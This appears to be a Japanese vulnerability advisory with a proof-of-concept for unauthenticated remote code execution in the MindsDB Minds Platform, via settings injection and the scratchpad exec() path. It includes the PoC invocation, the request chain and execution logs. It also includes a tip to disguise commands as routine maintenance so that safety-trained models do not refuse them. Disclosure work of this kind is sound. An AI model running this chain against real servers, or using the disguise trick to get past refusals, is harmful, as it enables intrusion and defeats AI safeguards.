
CVE-2026-73678 — MindsDB Minds Platformの未認証RCE(scratchpad exec経由、CVSS 10.0)。実LLMを使用してエンドツーエンドで検証済み。
CVSS 10.0(緊急) · CWE-94 / CWE-306 · GHSA-jcxw-h8ph-pxpv · VulnCheck
Minds Platform(mindsdb/mindshub のオープンソースバックエンド。旧称 mindsdb/minds-platform)は、POST /api/v1/responses/(OpenAI互換のResponses API、ポート 26866)を一切の認証なしで公開しています。認証ミドルウェアは存在しません — Bearerチェックもセッションも何もありません。サーバーは緩いCORSミドルウェア(allow_origins=["*"], allow_credentials=True)をインストールするだけです。
したがって、未認証の攻撃者は以下を行うことができます:
独自のLLM設定を注入する: PUT /api/v1/settings/{key}(openai_api_key、openai_base_url、planning_provider、coding_provider、*_model)— トークンは不要で、すべてのリクエストは200を返します。
細工したプロンプトを送信する: POST /api/v1/responses/ → ResponsesHandler.handle() → AntonのChatSession.turn_stream(input)
(攻撃者が制御する)LLMが、組み込みの**scratchpadツールの関数呼び出し**(action: "exec")を返します。handle_scratchpad →
prepare_scratchpad_exec → ScratchpadManager → LocalScratchpadRuntime
→ scratchpad_boot.py:
compiled = compile(code, "<scratchpad>", "exec")
exec(compiled, namespace) # arbitrary Python → arbitrary OS commands
LLMエンドポイントは攻撃者が選択する(BYOK)ため、攻撃者はモデルに任意のスクラッチパッドコードを返させることができます — モデルの協力や強制は不要です。唯一の前提条件は、動作するOpenAI互換のLLM APIキーです。
影響を受けるバージョン: ≤ v26.1.0(脆弱なコードは2026-06-08に追加、「Fresh #12461」)
パッチ: なし — GHSAにはパッチ済みバージョンの記載はなく、exec() は
main に残っています(任意であり、デフォルトでは無効の COWORK_REQUIRE_AUTH
Bearerミドルウェアとorg-modeのスコープチェックのみが存在します)。
python3 poc_cve-2026-73678.py \
--target http://TARGET:26866 \
--api-key sk-YOUR_OWN_KEY \
--base-url https://api.openai.com/v1 \
--model gpt-4o
PoCの手順:
PUT /api/v1/settings/* で攻撃者設定を書き込むexec で uname -a + hostname を実行)cat /tmp/system_info.txt を確認するプロンプトエンジニアリングの注意: 強力な安全性トレーニングを受けたモデルは、明らかに悪意のあるコマンド(例: 「pwn」を含むファイル名)を拒否する可能性があります。リクエストを日常的なメンテナンス(システム診断、ヘルスチェック)として装ってください — スクラッチパッドはモデルが提供するコードを何でも実行します。
実際のLLMプロバイダー(OpenCode Zen、minimax-m3)を使用した、cowork-server==0.26.6.26.1 に対する実際のエンドツーエンドチェーン:
== [1] AUTH-FREE SETTINGS INJECTION ==
PUT /api/v1/settings/openai_api_key: HTTP 200
PUT /api/v1/settings/openai_base_url: HTTP 200
PUT /api/v1/settings/planning_provider: HTTP 200
PUT /api/v1/settings/coding_provider: HTTP 200
PUT /api/v1/settings/planning_model: HTTP 200
PUT /api/v1/settings/coding_model: HTTP 200
== [2] CRAFTED PROMPT -> POST /api/v1/responses/ ==
HTTP 200 (15.6s) — LLM called the scratchpad tool
== [3] COMMAND EXECUTION CONFIRMED ==
/tmp/system_info.txt inside the container:
Linux 95d5d7fa74f6 6.12.75+rpt-rpi-2712 ... aarch64 GNU/Linux
95d5d7fa74f6
いかなる時点でもトークンは送信されませんでした。uname -a の出力は、スクラッチパッドの exec によってターゲットコンテナ内で生成されました — 未認証のリモート攻撃者による任意のOSコマンド実行です。
GET /api/v1/settings/reveal-key/{name} は設定済みシークレットを漏洩します。POST /api/v1/settings/raw は ~/.anton/.env に書き込みます。mindsdb/mindshub)